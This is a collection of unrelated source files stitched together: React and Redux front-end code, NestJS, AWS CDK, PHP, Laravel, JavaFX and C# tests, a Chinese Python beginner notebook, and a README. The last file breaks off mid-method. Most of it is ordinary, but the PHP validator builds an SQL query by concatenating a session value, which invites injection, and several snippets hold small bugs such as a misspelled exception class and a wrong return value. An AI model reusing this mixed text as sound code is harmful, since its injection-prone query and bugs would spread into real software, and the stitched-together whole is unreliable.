import { useState, useEffect } from "react"; import PropTypes from "prop-types"; import ListBulletIcon from "@heroicons/react/24/solid/ListBulletIcon"; import { Avatar, Box, Card, CardContent, LinearProgress, Stack, SvgIcon, Typography, } from "@mui/material"; export const OverviewTasksProgress = (props) => { const { sx } = props; const [value, setValue] = useState(0); useEffect(() => { const fetchData = () => { fetch(`${process.env.NEXT_PUBLIC_BASE_URL}/api/aggregated-data/`) .then((response) => { if (response.ok) { return response.json(); } else { throw new Error("Response not OK"); } }) .then((data) => { setValue(parseFloat(data[0]?.percentage_delivered) || 0); }) .catch((error) => { console.log("Error:", error); }); }; fetchData(); }, []); return ( <Card sx={sx}> <CardContent> <Stack alignItems="flex-start" direction="row" justifyContent="space-between" spacing={3}> <Stack spacing={1}> <Typography color="text.secondary" gutterBottom variant="overline"> Task Progress </Typography> <Typography variant="h4">{value}%</Typography> </Stack> <Avatar sx={{ backgroundColor: "warning.main", height: 56, width: 56 }}> <SvgIcon> <ListBulletIcon /> </SvgIcon> </Avatar> </Stack> <Box sx={{ mt: 3 }}> <LinearProgress value={value} variant="determinate" /> </Box> </CardContent> </Card> ); }; OverviewTasksProgress.propTypes = { sx: PropTypes.object, };
import { PrismaService } from 'src/database/prisma/prisma.service'; import { Injectable } from '@nestjs/common'; import { SUCCESS_RESPONSE } from 'src/common/constants'; import { EventCreateDto, EventUpdateDto } from './dto'; @Injectable() export class EventService { constructor(private prisma: PrismaService) {} async create(body: EventCreateDto) { await this.prisma.event.create({ data: { ...body }, }); return SUCCESS_RESPONSE; } async update(body: EventUpdateDto) { const { id, ...data } = body; await this.prisma.event.update({ where: { id }, data: { ...data }, }); return SUCCESS_RESPONSE; } async getOne(id: number) { const event = await this.prisma.event.findUnique({ where: { id }, include: { participants: { select: { name: true, username: true, avatar: true } }, }, }); return event; } async getMany(page?: number, perPage?: number, keySearch?: string) { if (!page) page = 1; if (!perPage) perPage = 10; if (!keySearch) keySearch = ''; page--; const events = await this.prisma.event.findMany({ where: { name: { contains: keySearch } }, skip: page * perPage, take: perPage, include: { participants: { select: { name: true, username: true, avatar: true } }, }, orderBy: { createAt: 'desc' }, }); const totalEvent = await this.prisma.event.count(); return { data: events, page, per_page: perPage, page_size: events.length, total: totalEvent, }; } async getAllByUsername(username: string) { const events = await this.prisma.event.findMany({ where: { participants: { some: { username } } }, orderBy: { createAt: 'desc' }, include: { participants: { select: { name: true, username: true, avatar: true } }, }, }); return events; } async delete(id: number) { await this.prisma.event.delete({ where: { id } }); return SUCCESS_RESPONSE; } async subscribe(id: number, username: string) { await this.prisma.event.update({ where: { id }, data: { participants: { connect: { username } } }, }); return SUCCESS_RESPONSE; } }
import { PayloadAction, createSlice } from '@reduxjs/toolkit'; import { AnimeGenre, AnimeType } from '../services/anime'; type Filters = { type?: AnimeType[]; genre?: AnimeGenre[]; q?: string; }; type RecommendationsState = { filters: Filters; selected: string[]; }; const initialState = { filters: {}, selected: [], } as RecommendationsState; const recommendationsSlice = createSlice({ name: 'recommendations', initialState, reducers: { setFilters: (state, action: PayloadAction<Filters>) => { state.filters = action.payload; }, setSelected: (state, action: PayloadAction<string[]>) => { state.selected = action.payload; }, setSearch: (state, action: PayloadAction<string>) => { state.filters.q = action.payload; }, addAnime: (state, action: PayloadAction<string>) => { state.selected.push(action.payload); }, removeAnime: (state, action: PayloadAction<string>) => { state.selected = state.selected.filter(el => el !== action.payload); }, clearFilters: state => { state.filters = initialState.filters; }, clearSelected: state => { state.selected = initialState.selected; }, }, }); export const { setFilters, setSearch, setSelected, addAnime, removeAnime, clearFilters, clearSelected, } = recommendationsSlice.actions; export default recommendationsSlice.reducer;
import { RemovalPolicy } from 'aws-cdk-lib' import { AttributeType, BillingMode, ITable, Table, } from 'aws-cdk-lib/aws-dynamodb' import { Construct } from 'constructs' import { TABLE } from '../configs/dynamodb' export class KOTSDatabase extends Construct { public readonly KOTSUserTable: ITable public readonly KOTSUserSettingTable: ITable public readonly KOTSAPITokenTable: ITable constructor(scope: Construct, id: string, env: string | undefined) { super(scope, id) this.KOTSUserTable = this.createKOTSUserTable(env) this.KOTSUserSettingTable = this.createKOTSUserSettingTable(env) this.KOTSAPITokenTable = this.createKOTSAPITokenTable(env) } private createKOTSUserTable(env: string | undefined): ITable { const userTable = new Table(this, 'user-table', { partitionKey: { name: 'id', type: AttributeType.STRING }, billingMode: BillingMode.PAY_PER_REQUEST, tableName: `${TABLE.USER}-${env}`, removalPolicy: RemovalPolicy.DESTROY, }) return userTable } private createKOTSUserSettingTable(env: string | undefined): ITable { const userSettingTable = new Table(this, 'user-setting-table', { partitionKey: { name: 'id', type: AttributeType.STRING }, billingMode: BillingMode.PAY_PER_REQUEST, tableName: `${TABLE.USER_SETTING}-${env}`, removalPolicy: RemovalPolicy.DESTROY, }) userSettingTable.addGlobalSecondaryIndex({ indexName: 'UserIdIndex', partitionKey: { name: 'userId', type: AttributeType.STRING, }, }) return userSettingTable } private createKOTSAPITokenTable(env: string | undefined): ITable { const APITokenTable = new Table(this, 'kots-api-token', { partitionKey: { name: 'id', type: AttributeType.STRING }, billingMode: BillingMode.PAY_PER_REQUEST, tableName: `${TABLE.API_TOKEN}-${env}`, removalPolicy: RemovalPolicy.DESTROY, }) return APITokenTable } }
/* This program challenges the user to guess a randomly generated number * within a range chosen by the user. Basic user input is validated to * ensure numbers are entered and there are no guessing range violations * (such as choosing a number outside the high or low boundary of the range). */ var intMax, intMin, intRandom, intGuess, intCount; /* the following section prompts the user to enter the low number of their guessing range * and then validates that the user entered an actual number and make sure that the * number is at least 0. */ var intMin = parseInt(prompt("Choose the lowest number in your guessing range (should no be lower than 0)" )); while(isNaN(intMin) || intMin<0) { intMin = parseInt(prompt("Sorry, but your choice is invalid")); }; /* the following section prompts the user to enter the high number of their guessing range * and then validates that the user entered an actual number and make sure that the * number is at least 2 more than the minimum (so that there is some guessing involved). */ var intMax = parseInt(prompt("Choose the highest number in your guessing range (must be at least 2 more than 0)")); while(isNaN(intMax) || intMax<=(intMin+1)) { intMax = parseInt(prompt("Sorry, but your choice is invalid")); }; /*The following line of code generates the random number to be used in the guessing game. * Math.floor rounds the random number down to the nearest integer * Math.random() generates a random number between 0 and 1 * the portion of (intMax-intMin +1) provides the range of random values * the addition of + intMin provides the floor for the random number */ intRandom = parseInt (Math.floor(Math.random()*(intMax-intMin+1))+intMin); // set the loop counter var intCount = 1; /* the following section prompts the user to enter their guess * and then validates that the user entered an actual number and makes sure that the * number is between the allowed max and min number choices. */ var intGuess = parseInt(prompt("What is your guess on a random number between " + intMin + " and " + intMax )); while(isNaN(intGuess)|| intGuess<intMin || intGuess>intMax) { intGuess = parseInt(prompt("Your guess number is invalid")); }; /* The following section provides the main loop and logic for the program. * The user's guess is compared to the randomly generated number and feedback * is given based upon whether the guess is higher or lower. The loop exits when * the user chooses the correct number. Each time through the loop updates the loop counter. */ while (intGuess != intRandom) { if(intGuess<intRandom) { alert("Opps! your number is too low" ); } else { alert("Opps! Your number is too high"); } intCount ++; var intGuess = parseInt(prompt("What is your guess on a random number between " + intMin + " and " + intMax )); }; // provides final output upon successful guessing alert("Congratulations!!! You guessed the correct number (" + intRandom +")\n" + " and it only took you " + intCount + " attempts!");
<?php class Validator { protected $db; protected $router; protected $smarty; protected $model; /** * Initalisiere die Datenbank-Verbindung. * @param object $db * @param object $router * @param object $smarty */ public function __construct($db, $router, $smarty) { $this->db = $db; $this->router = $router; if (!empty($smarty)) { $this->smarty = $smarty; // Lese die globale Statistik aus $globalStatsData = $this->db->query("SELECT * FROM ".DB_PRE."stats"); $this->smarty->assign('globalStats', $globalStatsData[0]); $this->smarty->assign('marketPriceUSD', $globalStatsData[0]['burstBTC']*$globalStatsData[0]['btcUSD']); $this->smarty->assign('marketPriceEUR', $globalStatsData[0]['burstBTC']*$globalStatsData[0]['btcEUR']); $this->smarty->assign('kBurstUSD', $globalStatsData[0]['burstBTC']*1000*$globalStatsData[0]['btcUSD']); $this->smarty->assign('kBurstEUR', $globalStatsData[0]['burstBTC']*1000*$globalStatsData[0]['btcEUR']); $this->smarty->assign('btcUSDts', $this->convertAge(time()-$globalStatsData[0]['btcUSDts'])); $this->smarty->assign('btcEURts', $this->convertAge(time()-$globalStatsData[0]['btcEURts'])); } } /** * Prüft ob die Variable einen Wert enthält. * @param type $string String * @return boolean Gibt true oder false zurück */ public function isString($string) { if (!isset($string) OR empty($string)) { return false; } return true; } /** * Prüft E-Mail-Adresse auf korrekten Syntax und ggf. den DNS-Server. * @param string $email E-Mail-Adresse * @param boolean $checkdns Wenn dieser Parameter auf true gesetzt ist, wird der DNS-Server überprüft (Default: false) * @return boolean Gibt true oder false zurück */ public function isMail($email, $checkdns = false) { if ($this->isString($email) === false) { return false; } if (preg_match("/^[a-zA-Z0-9_.-]+@[a-zA-Z0-9][a-zA-Z0-9-.]+\.([a-zA-Z]{2,6})$/" , $email) && filter_var($email, FILTER_VALIDATE_EMAIL)) { $tmp = explode('@', $email); $domain = $tmp[1]; if($checkdns && @dns_get_record($domain) === false) { return false; } } else { return false; } return true; } /** * Prüft ob es sich bei dem String um ein ausreichend langes Passwort handelt. * @param string $password * @return boolean Gibt true oder false zurück */ public function isPassword($password) { if (!isset($password) OR strlen(trim($password)) < SECURITY_PASSWORD_MIN) { return false; } return true; } /** * Prüft ob es sich bei dem String um eine korrekte IP-Adresse handelt. * @param string $ip IP-Adresse * @return boolean Gibt true oder false zurück */ public function isIp($ip) { if (!filter_var($ip, FILTER_VALIDATE_IP)) { return false; } return true; } /** * Wandelt Sekunden in eine lesbare Zeiteinheit um. * @param integer $seconds Sekunden * @return varchar Gibt die Zeit Zurück */ public function convertAge($seconds) { if ($seconds == 1) { return '1 second'; } elseif ($seconds < 60) { return $seconds.' seconds'; } elseif ($seconds < 3600) { $seconds = floor($seconds/60); if ($seconds == 1) { return $seconds.' minute'; } return $seconds.' minutes'; } elseif ($seconds < 86400) { $seconds = floor($seconds/3600); if ($seconds == 1) { return $seconds.' hour'; } return $seconds.' hours'; } elseif ($seconds < 2592000) { $seconds = floor($seconds/86400); if ($seconds == 1) { return $seconds.' day'; } return $seconds.' days'; } elseif ($seconds >= 2592000) { $seconds = floor($seconds/2592000); if ($seconds == 1) { return $seconds.' month'; } return $seconds.' months'; } return true; } /** * Wandelt einen Zahlenwert in ein Geschlecht um. * @param integer $gender ID des Geschlechts * @return string Gibt das Geschlecht bzw. die Anrede zurück ("Herr" oder "Frau") */ public function isGender($gender) { if ($gender == 1) { return "Herr"; } elseif ($gender == 2) { return "Frau"; } else { return false; } } /** * Prüft ob es sich bei dem User um einen Admin handelt. * @return boolean Liefert true zurück oder leitet den Benutzer auf die "Zugriff verweigert" Seite weiter */ public function isAdmin() { if ($_SESSION['userlevelid'] != 1) { header("Location: ".HTTP_ROOT."access-denied"); exit(); } return true; } /** * Prüft ob es sich bei dem User um einen Mitarbeiter handelt. * @return boolean Liefert true zurück oder leitet den Benutzer auf die "Zugriff verweigert" Seite weiter */ public function isStaff() { if ($_SESSION['userlevelid'] < 1 || $_SESSION['userlevelid'] > 4) { header("Location: ".HTTP_ROOT."access-denied"); exit(); } return false; } /** * Prüft ob es sich bei dem User um ein Mitglied handelt. * @return boolean Liefert true zurück oder leitet den Benutzer auf die "Zugriff verweigert" Seite bzw. den AGB weiter */ public function isUser() { if ($_SESSION['userlevelid'] < 1 || $_SESSION['userlevelid'] > 6) { header("Location: ".HTTP_ROOT."access-denied"); exit(); } // Prüfe ob der User noch in der Datenbank existiert $validateUserID = $this->db->query("SELECT userid FROM ".DB_PRE."users WHERE userid='".$_SESSION['userid']."'"); if (!isset($validateUserID[0]) OR $validateUserID[0]['userid'] < 1) { $this->load->model('User'); $this->model_user->destroySession(); } return true; } /** * Prüft ob es sich bei dem User um einen Gast handelt. * @return boolean Liefert true zurück oder leitet den Benutzer zum Dashboard weiter */ public function isGuest() { // Leite bereits eingelogte User zum Kunden-Bereich weiter if ($_SESSION['userlevelid'] > 0 && $_SESSION['userlevelid'] < 7) { header("Location: ".HTTP_ROOT."admin"); exit(); } return true; } }
<!DOCTYPE html> <html> <head> <title>Gráfico de Pie Chart y Tabla</title> <script src="https://cdn.plot.ly/plotly-latest.min.js"></script> </head> <body> <div id="chart"></div> <div id="table"></div> <script> // Leer el archivo JSON // fetch('data.json') // .then(response => response.json()) // .then(data => { data = { "labels": ["Label 1", "Label 2", "Label 3"], "values": [10, 20, 30], "table": [ {"Column 1": "Value 1", "Column 2": "Value 2"}, {"Column 1": "Value 3", "Column 2": "Value 4"}, {"Column 1": "Value 5", "Column 2": "Value 6"} ] } // Crear el gráfico de Pie Chart var pieTrace = { type: 'pie', values: data.values, labels: data.labels, }; var pieLayout = { title: 'Gráfico de Pie Chart', }; Plotly.newPlot('chart', [pieTrace], pieLayout); // Crear la tabla var tableHeader = Object.keys(data.table[0]); var tableRows = data.table.map(row => Object.values(row)); var tableTrace = { type: 'table', header: { values: tableHeader, align: 'center', line: { width: 1, color: 'black' }, fill: { color: 'grey' }, font: { family: 'Arial', size: 12, color: 'white' }, }, cells: { values: tableRows, align: 'center', line: { color: 'black', width: 1 }, font: { family: 'Arial', size: 11, color: ['black'] }, fill: { color: ['white', 'lightgrey'] }, }, }; var tableLayout = { title: 'Tabla de Datos', }; Plotly.newPlot('table', [tableTrace], tableLayout); // }) // .catch(error => console.error(error)); </script> </body> </html>
# coding: utf-8 # In[2]: #python注释方法"#"'''python多行注释三引号''' # In[ ]: #python中标识符命名规则为:第一个字符为字母或下划线,除第一个字符以为的其他字符可以是字母、下划线或数字 #python中,常见的数据类型有:数、字符串、列表(list)、元组(tuple)、集合(set)、字典(dictionary) # In[3]: #列表(list) abc=['my','you'] abc[1]='he' print(abc[0],abc[1][1]) # In[4]: #元组(tuple) 一旦初始化就不能修改 cde=('my','you') print(cde[0]) cde[1]='he' # In[7]: #集合(set) a='sdhjdsfhjkdsf' b='fihrghsad' sa=set(a) sb=set(b) print(sa&sb) print(sa|sb) # In[8]: #字典(dictionary) {key1:value1,key2:value} d1={'name':'weiwei','sex':'man'} print(d1['name'],d1['sex']) # In[9]: #运算符‘+’,‘-’,‘*’,‘/’,‘%’,‘//’ print(26//4,26/4,26%4) # In[27]: #python中有3种基本控制流:顺序结构、条件分支结构、循环结构 #条件分支结构 if elif else a=6 if a==5: print(a) elif a<10: print('小于10不等于5的数') else: print('大于10的数') # In[28]: #while 循环 a=6 while a>2: print(a) a=a-1 # In[29]: #for 循环 a=['a','b','c','d','e'] b=0 for i in a: b=b+1 print(b,i) a=['a','b','c','d','e'] for i in range(0,10): print(i) # In[69]: #continue只中断一次 for i in range(0,8): if(i==6): continue print(i) #break彻底中断 for i in range(0,8): if(i==6): break print(i) # In[105]: #训练实例:输出乘法口诀 for i in range(1,10): for j in range(1,i+1): print(str(i)+'*'+str(j)+'='+str(i*j)+' ',end='') #str类型用‘+’合在一起 print() # In[103]: #训练实例:反向输出乘法口诀,range(a,b,c)从a开始遍历至b+!,步长为c,步长为负,即为逆序遍历。 for i in range(9,0,-1): for j in range(i,0,-1): print(str(i)+'*'+str(j)+'='+str(i*j)+' ',end='') print() # In[ ]: #认识python函数 #函数的本质就是功能的封装。使用函数可以大大提高编程的效率与程序的可读性。 # In[135]: #变量是有生效范围的,这个生效范围我们成为作用域。作用域从变量出现开始到程序的最末的变量叫全局变量,作用域只在局部的变量叫做局部变量。 #作用域 #my全局变量,ny局部变量,将局部变量ky使用global,调用函数后变为全局变量 my=1 def func(): global ky ny=2 ky=3 ky+=1 print(ky,ny) func() print(ky) print(my) print(ny) # In[136]: #函数的定义和调用 def abc(): print('abc!') abc() # In[137]: #在函数中,如果需要让函数与外界有数据的传递,我们则需要使用参数。 #参数分为形参和实参,一般来说,在函数定义时使用的参数是形参,在函数调用时使用的参数叫做实参。 def function1(a,b):#形参 if(a>b): print(a) else: print(b) function1(2,3)#实参 # In[ ]: #什么是python模块 #我们可以按需求类别常见的功能(函数)组合在一起,形成模块。以后我们要实现这一类功能的时候,直接导入该模块即可。模块里面的函数叫做模块的方法。 #系统自带的模块在安装目录的lib目录中。 # In[153]: #import 模块 #import urllib from urllib import request #从某一文件夹找到下一目录中模块,import了谁,就从谁开始写 data1=request.urlopen("http://www.baidu.com").read() #爬虫 print(len(data1)) data2=request.urlopen("http://m.baidu.com").read() print(len(data2)) # In[162]: #自定义模块的使用,模块放到相应代码文件目录下 from zdymdtest import * print(zhmd()) # In[184]: #文件操作 #open("打开文件名称","打开方式"),'w'有文件即打开,没文件自动创建再打开 fh=open('/Users/zanghong/Documents/腾讯工作/原始数据/1.txt','w') contents1='我是上半年数据' fh.write(contents1) fh.close() #open("打开文件名称","打开方式"),'r'有文件即打开,没文件报错 fh1=open('/Users/zanghong/Documents/腾讯工作/原始数据/2.txt','r') print(fh1.read()) fh.close() #按行读取 fh2=open('/Users/zanghong/Documents/腾讯工作/原始数据/2.txt','r') while True: data=fh2.readline() if len(data)==0: break print(data) fh2.close() # In[185]: #爬虫过程中异常数据处理 try: print('my') printsds('hi') except Exception as er:#查找到异常 print(er) print('hello') # In[244]: #如何将多个表中的内容合并在一起 #思路:使用excel模块,比如xlrd,xlwt,openpyxl,xlsxwriter等模块。 #xlrd模块主要用于读取excel表, #xlwt与xlsxwriter用于将数据写入表中,但不能修改表 #方案1:使用openpyxl,只对xlsx有效 #方案2:仍然使用xlwt与xlsxwriter等模块,先将每次读取的信息存储到list(列表)中,然后一次写入。 import xlrd,xlsxwriter #待合并excel,列表形式存储需要合并的文件 allxls=['/Users/zanghong/Documents/腾讯工作/原始数据/第一个测试文件.xlsx', '/Users/zanghong/Documents/腾讯工作/原始数据/第二个测试文件.xlsx', '/Users/zanghong/Documents/腾讯工作/原始数据/第三个测试文件.xlsx'] #目标excel,设置合并好的文件存储的路径 end_xls='/Users/zanghong/Documents/腾讯工作/原始数据/合并测试文件.xlsx' #打开表格 def open_xls(file): try: fb=xlrd.open_workbook(file) return fb except Eexception as e: print('打开文件错误:'+e) #获取所有sheet def getsheet(fh): return fh.sheets() #读取某个sheet的行数 def getnrows(fh,sheet): table=fh.sheets()[sheet] shnrows=table.nrows return shnrows #读取某个文件的内容并返回所有行的值 def get_file_value(fb,shnum): fh=open_xls(fb)#打开此文件 table=fh.sheet_by_name(shname[shnum])#获取当前文件当前sheet名的内容 row_num=getnrows(fh,shnum)#得到行数 lenrvalue=len(rvalue)#一开始lenrvalue为0,随着以行为单位的继续添加,rvalue长度按行数增加。当一个sheet为单位的循环结束后,rvalue长度增加一个sheet为单位的长度。 print('看这里'+str(lenrvalue)) if y>0: for row in range(1,row_num):#按行读取,一行一行读取,读取整个sheet rdata=table.row_values(row) rvalue.append(rdata) print(rvalue[lenrvalue:]) filevalue.append(rvalue[lenrvalue:])#按sheet为单位,添加到文件中。因前面每次循环增加完一个sheet,此时rvalue长度即为加入的sheet的总行数,所以从现行数开始向文件中添加后续的sheet。 else: for row in range(0,row_num):#按行读取,一行一行读取,读取整个sheet rdata=table.row_values(row) rvalue.append(rdata) print(rvalue[lenrvalue:]) filevalue.append(rvalue[lenrvalue:])#按sheet为单位,添加到文件中。因前面每次循环增加完一个sheet,此时rvalue长度即为加入的sheet的总行数,所以从现行数开始向文件中添加后续的sheet。 return filevalue shname=[] filevalue=[] svalue=[] rvalue=[] #读取第一个待读文件,获取sheet数 f1=open_xls(allxls[0])#打开第一个文件 sh=getsheet(f1)#获得所有sheet x=0 for sheet in sh:#按照列表方式遍历,不是按照数字遍历,想知道循环几次,用x来计数。 shname.append(sheet.name) svalue.append([])#有几种类型的sheet就设立几个数组,以相同名称的sheet为单位往里添加数据为一组 x+=1 #依次读取各sheet的内容 #依次读取各文件当前sheet的内容 for shnum in range(0,x):#第一个文件中有x个sheet,依次遍历 lenfvalue=len(filevalue) y=0 for fb in allxls:#依次读取各文件,取各文件相同sheet名的内容 print('正在读取文件:'+str(fb)+'的第'+str(shnum)+'个标签...') filevalue=get_file_value(fb,shnum) #filevalue为三维度[file1[行1['列1','列2','列3'],行2['列1','列2','列3'],...行n['列1','列2','列3']]...filen[行1['列1','列2','列3'],行2['列1','列2','列3'],...行n['列1','列2','列3']]] y+=1 svalue[shnum].append(filevalue)#内层循环完后,得到一组各个文件相同sheet名的所有内容,直接添加到svalue中[[0[[[]]]],[1[[[]]]],[2[[[]]]]] print(shnum) print(svalue[shnum]) print(svalue[0]) print(svalue[1]) #由于append具有叠加关系,分析可得所有信息均在svalue[0][0]中存储 #print(svalue) #svalue[0][0]元素数量为sheet标签数(sn)*文件数(fn) sn=x fn=len(allxls) endvalue=[] def getsvalue(k): for z in range(k,k+fn): endvalue.append(svalue[0][0][z]) return endvalue #打开最终写入的文件 wb1=xlsxwriter.Workbook(end_xls) #创建一个sheet工作对象 ws=wb1.add_worksheet() polit=0 linenum=0 #依次遍历每个sheet中的数据 for s in range(0,sn*fn,fn):#步长为文件数 thisvalue=getsvalue(s) tvalue=thisvalue[polit:] #将一个标签的内容写入新文件中 for a in range(0,len(tvalue)): for b in range(0,len(tvalue[a])): for c in range(0,len(tvalue[a][b])): data=tvalue[a][b][c] ws.write(linenum,c,data) linenum+=1 #叠加关系,需要设置分割点 polit=len(thisvalue) wb1.close()
# Web App ## Set Up To install all dependencies, run : ``` $ cd front $ npm install ``` ## Start local environment To run locally the React App and the Java server locally : Runs the app in the development mode.\ ``` $ npm run start:local-api ``` To run locally the React App only and to use staging API (running on google cloud platform here [scuf-tournois-prod.uc.r.appspot.com](https://scuf-tournois-prod.uc.r.appspot.com/api/swagger-ui/index.html): ``` $ npm run start:remote-api ``` Open [http://localhost:3000](http://localhost:3000) to view it in the browser. The page will reload if you make edits.\ You will also see any lint errors in the console. ## Run Tests ``` $ npm test ``` Launches the test runner in the interactive watch mode.\ See the section about [running tests](https://facebook.github.io/create-react-app/docs/running-tests) for more information. ## Package WebApp ``` $ npm run build ``` Builds the app for production to the `build` folder.\ It correctly bundles React in production mode and optimizes the build for the best performance. The build is minified and the filenames include the hashes.\ Your app is ready to be deployed! See the section about [deployment](https://facebook.github.io/create-react-app/docs/deployment) for more information. ## Remove create-react-app build ``` $ run eject ``` **Note: this is a one-way operation. Once you `eject`, you can’t go back!** If you aren’t satisfied with the build tool and configuration choices, you can `eject` at any time. This command will remove the single build dependency from your project. Instead, it will copy all the configuration files and the transitive dependencies (webpack, Babel, ESLint, etc) right into your project so you have full control over them. All of the commands except `eject` will still work, but they will point to the copied scripts so you can tweak them. At this point you’re on your own. You don’t have to ever use `eject`. The curated feature set is suitable for small and middle deployments, and you shouldn’t feel obligated to use this feature. However we understand that this tool wouldn’t be useful if you couldn’t customize it when you are ready for it. ## Learn More You can learn more in the [Create React App documentation](https://facebook.github.io/create-react-app/docs/getting-started). To learn React, check out the [React documentation](https://reactjs.org/). To Update
package kjd.romannumerals.fx.control; import static org.junit.Assert.assertEquals; import org.junit.Test; import org.junit.runner.RunWith; import org.junit.runners.JUnit4; import org.testfx.framework.junit.ApplicationTest; import javafx.scene.Scene; import javafx.scene.input.KeyCode; import javafx.scene.layout.VBox; import javafx.stage.Stage; import kjd.romannumerals.fx.control.RomanNumeralTextField; @RunWith(JUnit4.class) public class RomanNumeralTextFieldTest extends ApplicationTest { private static class TestBox extends VBox { public TestBox() { RomanNumeralTextField rnTextField = new RomanNumeralTextField(); getChildren().add(rnTextField); } } @Override public void start(Stage stage) throws Exception { stage.setScene(new Scene(new TestBox())); stage.show(); } private void type_and_assert_character(String str, KeyCode code) { RomanNumeralTextField rn = lookup(item -> item instanceof RomanNumeralTextField).query(); rn.setText(""); type(code); assertEquals(str.toUpperCase(), rn.getText().toUpperCase()); } private void set_and_assert_string(String str, boolean valid) { RomanNumeralTextField rn = lookup(item -> item instanceof RomanNumeralTextField).query(); rn.setText(str); assertEquals(valid, rn.getText().equals(str)); } @Test public void should_allow_symbol_characters() { type_and_assert_character("i", KeyCode.I); // 1 type_and_assert_character("v", KeyCode.V); // 5 type_and_assert_character("x", KeyCode.X); // 10 type_and_assert_character("l", KeyCode.L); // 50 type_and_assert_character("c", KeyCode.C); // 100 type_and_assert_character("d", KeyCode.D); // 500 type_and_assert_character("m", KeyCode.M); // 1000 } @Test public void should_allow_whitespace_characters() { type_and_assert_character("", KeyCode.BACK_SPACE); type_and_assert_character("", KeyCode.DELETE); } @Test public void shouldnt_allow_non_symbol_characters() { type_and_assert_character("", KeyCode.A); type_and_assert_character("", KeyCode.B); type_and_assert_character("", KeyCode.E); type_and_assert_character("", KeyCode.F); type_and_assert_character("", KeyCode.F); type_and_assert_character("", KeyCode.G); type_and_assert_character("", KeyCode.H); type_and_assert_character("", KeyCode.J); type_and_assert_character("", KeyCode.K); type_and_assert_character("", KeyCode.N); type_and_assert_character("", KeyCode.O); type_and_assert_character("", KeyCode.P); type_and_assert_character("", KeyCode.Q); type_and_assert_character("", KeyCode.R); type_and_assert_character("", KeyCode.S); type_and_assert_character("", KeyCode.T); type_and_assert_character("", KeyCode.U); type_and_assert_character("", KeyCode.W); type_and_assert_character("", KeyCode.Y); type_and_assert_character("", KeyCode.Z); } @Test public void should_allow_valid_roman_numerals() { set_and_assert_string("II", true); set_and_assert_string("IV", true); set_and_assert_string("IX", true); set_and_assert_string("XX", true); set_and_assert_string("CM", true); set_and_assert_string("MC", true); } @Test public void should_not_allow_invalid_numerals() { set_and_assert_string("THE", false); set_and_assert_string("TEST", false); set_and_assert_string("FAILS", false); } @Test public void should_replace_invalid_with_previous() { RomanNumeralTextField rn = lookup(item -> item instanceof RomanNumeralTextField).query(); set_and_assert_string("XIII", true); set_and_assert_string("FAIL", false); assertEquals("XIII", rn.getText()); } }
<?php namespace App\Mail; use Illuminate\Bus\Queueable; use Illuminate\Contracts\Queue\ShouldQueue; use Illuminate\Mail\Mailable; use Illuminate\Queue\SerializesModels; class FacturaEmail extends Mailable { use Queueable, SerializesModels; private $data; /** * Create a new message instance. * * @return void */ public function __construct($data) { $this->data = $data; } /** * Build the message. * * @return $this */ public function build() { return $this->from('bezavala@seaumn.org') ->subject('Factura SEAUMN') ->view('emails.factura',["data"=>$this->data,"title"=>"Tu factura"]) ->attach($this->data['urlfile']); } }
using System.Text; using Microsoft.AspNetCore.Http; namespace EShop_Testing; public class HomeControllerTests { //Index: [Fact] public async Task Index_ViewBagSearchTextIsNotNull_WhenSearchTextIsNotNull() { //Arrange var testSearchText = "Products"; var testProductPageViewModel = new ProductsPageViewModel { Products = new List<ProductShowDTO> { new ProductShowDTO { ProductId = 1, Price = 10000, Name = "Products", ShortDescription = "The latest IPhone model with a sleek design", CategoryId = 1, Images = null, CategoryName = "Laptops", }, }, PaginationInfo = new ProductRepository.PageViewModel(1, It.IsAny<int>(), 10), }; var mockDetailRepository = new Mock<IProductDetailRepository>(); var mockProductRepository = new Mock<IProductRepository>(); mockProductRepository .Setup(rep => rep.GetProductsByIndexOfAsync(testSearchText, It.IsAny<int>())) .ReturnsAsync(testProductPageViewModel); var controller = new HomeController(mockProductRepository.Object,mockDetailRepository.Object); //Act var result = await controller.Index(null, testSearchText); //Assert var viewResult = Assert.IsType<ViewResult>(result); var model = Assert.IsType<ProductsPageViewModel>(viewResult.ViewData.Model); Assert.Equal(testProductPageViewModel,model); Assert.Equal(testSearchText, controller.ViewBag.searchText); Assert.Null(controller.ViewBag.CategoryId); mockProductRepository.Verify(rep => rep.GetProductsByIndexOfAsync(testSearchText, It.IsAny<int>())); } [Fact] public async Task Index_ViewBagCategoryIdIsNotNull_WhenCategoryIdIsNotNull() { //Arrange var testCategoryId = 1; var testProductPageViewModel = new ProductsPageViewModel { Products = new List<ProductShowDTO> { new ProductShowDTO { ProductId = 1, Price = 10000, Name = "Products", ShortDescription = "The latest IPhone model with a sleek design", CategoryId = 1, Images = null, CategoryName = "Laptops", }, }, PaginationInfo = new ProductRepository.PageViewModel(1, It.IsAny<int>(), 10), }; var mockDetailRepository = new Mock<IProductDetailRepository>(); var mockProductRepository = new Mock<IProductRepository>(); mockProductRepository .Setup(rep => rep.GetProductsByCategoryAsync(testCategoryId, It.IsAny<int>())) .ReturnsAsync(testProductPageViewModel); var controller = new HomeController(mockProductRepository.Object,mockDetailRepository.Object); //Act var result = await controller.Index(testCategoryId, null); //Assert var viewResult = Assert.IsType<ViewResult>(result); var model = Assert.IsType<ProductsPageViewModel>(viewResult.ViewData.Model); Assert.Equal(testProductPageViewModel,model); Assert.Equal(testCategoryId, controller.ViewBag.CategoryId); Assert.Null(controller.ViewBag.searchText); mockProductRepository.Verify(rep => rep.GetProductsByCategoryAsync(testCategoryId, It.IsAny<int>())); } [Fact] public async Task Index_ViewBagCategoryIdIsNullAndViewBagSearchTextIsNull_WhenCategoryIdIsNullAndCategoryIdIsNull() { //Arrange var testProductPageViewModel = new ProductsPageViewModel { Products = new List<ProductShowDTO> { new ProductShowDTO { ProductId = 1, Price = 10000, Name = "Products", ShortDescription = "The latest IPhone model with a sleek design", CategoryId = 1, Images = null, CategoryName = "Laptops", }, }, PaginationInfo = new ProductRepository.PageViewModel(1, It.IsAny<int>(), 10), }; var mockDetailRepository = new Mock<IProductDetailRepository>(); var mockProductRepository = new Mock<IProductRepository>(); mockProductRepository .Setup(rep => rep.GetAllProductAsync(It.IsAny<int>())) .ReturnsAsync(testProductPageViewModel); var controller = new HomeController(mockProductRepository.Object,mockDetailRepository.Object); //Act var result = await controller.Index(null, null); //Assert var viewResult = Assert.IsType<ViewResult>(result); var model = Assert.IsType<ProductsPageViewModel>(viewResult.ViewData.Model); Assert.Equal(testProductPageViewModel,model); Assert.Null(controller.ViewBag.CategoryId); Assert.Null(controller.ViewBag.searchText); mockProductRepository.Verify(rep => rep.GetAllProductAsync(It.IsAny<int>())); } //SaveToSession: [Fact] public void 